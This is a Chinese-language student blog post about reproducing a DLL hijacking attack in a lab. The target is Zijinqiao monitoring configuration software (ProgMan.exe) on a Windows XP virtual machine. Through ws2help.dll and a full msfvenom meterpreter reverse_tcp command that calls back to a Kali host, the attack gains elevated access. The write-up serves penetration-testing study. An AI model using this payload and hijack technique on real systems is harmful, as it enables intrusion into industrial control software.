本文首發于我的個人博客,記錄了我在實驗室學習滲透測驗所做的第一個漏洞復現,希望能對您有所幫助!
如果文章有錯,請前往我的個人博客核對,或者在評論區留言告知,謝謝
緊張刺激前所未有突如其來慘絕人寰的線上期末考試結束了,我也要開始做實驗室的作業了,這學期因為學姐在準備畢業,我也劃水了好久,中間只做過一些小任務,那么這個暑假就要把該還的帳還清了(突然淚目),
我在期末考試前和博士聯系過了,說自己想要學習滲透測驗方面的內容,那么第一個任務就是復現DLL劫持,謹以此博,紀念我考后生還(劃掉)的第一個小任務,
啊啊啊啊正在做的時候那個新帶我的學長跟我說他也試了下,沒實作…沒事,我盡管做我自己的,
基本概念
- DLL:元件,是Windows作業系統中實作二進制級共享函式庫的編程和運行環境,
- Windows平臺可執行檔案執行程序:Windows平臺上當一個可執行檔案運行時,加載器將可執行檔案映射到行程的地址空間中,加載器分析檔案的輸入表,查找出需要的DLL,并逐個將它們映射到行程的地址空間中,最后初始化并開始運行,在運行程序中會呼叫加載到記憶體中的DLL所包含的功能函式,
- DLL劫持:由于可執行檔案的輸入表只提供了DLL的名稱,沒有其他詳細資訊,當查找的程序中發生了冒名頂替時間,就發生了劫持,黑客可以偽造介面相同功能不同的同名DLL,放在可執行檔案運行優先查找的路徑上,就能冒名頂替使黑客目標功能的DLL被加載到記憶體并被呼叫執行,
復現步驟
1. 安裝Kali Linux虛擬機
Kali用得好,牢飯吃到飽...啊不是,工具無罪,
Kali之前安裝過,還在上面配置了Mulval(攻擊圖專案的第一個任務),所以這次也是輕車熟路,除了中間“選擇安裝軟體”可能是因為網路問題吧,失敗了兩次,
如何在VMWare上安裝Kali Linux 2020.2版本的虛擬機詳見該文,
2. 安裝Windows XP SP3靶機
本來我想用我家那臺十年前的機器(前段時間升級了下記憶體和硬碟,還能用),但又怕搞壞了不好交代,所以還是老老實實下虛擬機吧,
這個在官網沒找到資源,就隨便在其他地方找了個資源,安全性無法保證,炊訓著用吧,
具體安裝程序...傻瓜式操作應該不需要教程吧?
界面提示我大概要二三十分鐘,實際程序沒那么長,一局游戲都沒打完呢...
3. 在XP上安裝需要的軟體
首先是紫金橋監控組態軟體 V6.5,我在xp上打不開這個網站,所以就在win10下下載后利用vmtools(xp系統搭建好后自動下載了vmtools,挺省心的)將該軟體復制了過來,
另外也要安裝Process Explorer,
4. 尋找可劫持行程ProgMan.exe的DLL
開啟行程ProgMan.exe(即紫金橋監控組態軟體,在安裝目錄下可以找到該執行檔案),打開procexp,其實兩者無關先后,在procexp下可以看到ProgMan.exe行程,然后按照我的選項配置,可以看到下面的視窗,


與注冊表相對比:
這說明我們的ws2help.dll滿足dll劫持的要求,
5. 生成原始碼CPP檔案和dll檔案
首先要配置Python2.7環境,這個不必多說,安裝好后,pip下載所需要的包pefile,這個包沒多大,沒必要再換源了,下載好后,在Github上下載我們需要的一個DLL_Hijacker.py檔案,然后cd到該檔案所在位置,在命令列中執行:
DLL_Hijacker.py c:\WINDOWS\system32\ws2help.dll
結果如下:

同時,在該目錄下,ws2help.cpp檔案也已經生成了,
然后將ws2help.cpp編譯為ws2help.dll,這一步需要用到VC++6.0,推薦直接在靶機中安裝(Win10不太兼容),具體步驟如下:
-
在VC++ 6.0中新建一個Win32 Dynamic-Link Library工程,名稱任意,
-
創建一個簡單的DLL工程
-
將ws2help.cpp中的代碼復制到該工程Source File檔案夾下的XXX.cpp(XXX為工程名)檔案中,注意加上如圖所示的頭檔案,
-
如果剛開始就直接編譯ws2help.cpp,會報錯,解決方法是先編譯同目錄下的StdAfx.cpp檔案,沒有錯誤后再編譯ws2help.cpp,編譯方法為“組建-->編譯xxx.cpp”,

-
編譯無誤后,點擊“組建-->組建xxx.dll”,正確完成后,可以在工程目錄下的Debug檔案夾下找到生成的dll檔案,
之后,將該dll檔案放入與progman.exe同一目錄下,再次打開ProgMan.exe,會有彈窗提示,

6. 利用msf基于dll劫持實作權限提升
進入kali,檢查msfvenom是否正常(在命令列中輸入msfvenom),若正常,則在命令列鍵入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本機IP> LPORT=1234 -f dll >/root/ws2help.dll
之后,會在root下生成我們需要的ws2help.dll檔案,將該檔案拷貝到靶機(XP)下,這一步可能會比較麻煩,可以將該檔案放入壓縮包內,再進行復制粘貼,
在Kali命令列中輸入msfconsole開啟msf,利用msf中的handler模塊開啟監聽:

在靶機中開啟行程ProgMan.exe,利用Dllinject.exe,將ws2help.dll注入到行程,這里好像對ws2help.dll和Dllinject.exe的位置也有要求,最開始我把它們倆同時放在ProgMan.exe所在目錄下,但Dllinject.exe無法正常運行,之后我把ws2help.dll放在桌面,Dllinject.exe放在其他目錄下,可以正常運行了,

找到ProgMan行程,點擊注入,注入時要選擇ws2help.dll所在位置,其他不用填,回到Kali,發現已經提權成功了,
實驗結束,
后記
本實驗對于剛剛接觸滲透測驗的我來說,說難也不難,但也確實花了很長時間,主要就是在編譯cpp檔案為dll時出了問題,我一直在嘗試在命令列界面直接通過g++命令來進行編譯,但結果總是錯誤的,最終,在王博士的提示下,我用了VC++6.0來進行編譯,一開始也出了問題,因為VC++6.0版本過于古老,和Win10不兼容,無論我怎么編譯,都會報錯,在網上查到了解決方法,但一一嘗試后,都沒有用,最后只得下載了Win7虛擬機,別問我為什么不直接在Win XP下下載,因為我一開始以為XP也不兼容...嘛,反正都解決啦,不管那么多啦!
這只是滲透測驗之路的起點,就遇到了難啃的硬骨頭,以后會遇到多少麻煩可想而知,但我相信自己可以堅持學下去,加油!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/69520.html
標籤:其他
上一篇:Redis遠程命令執行漏洞復現
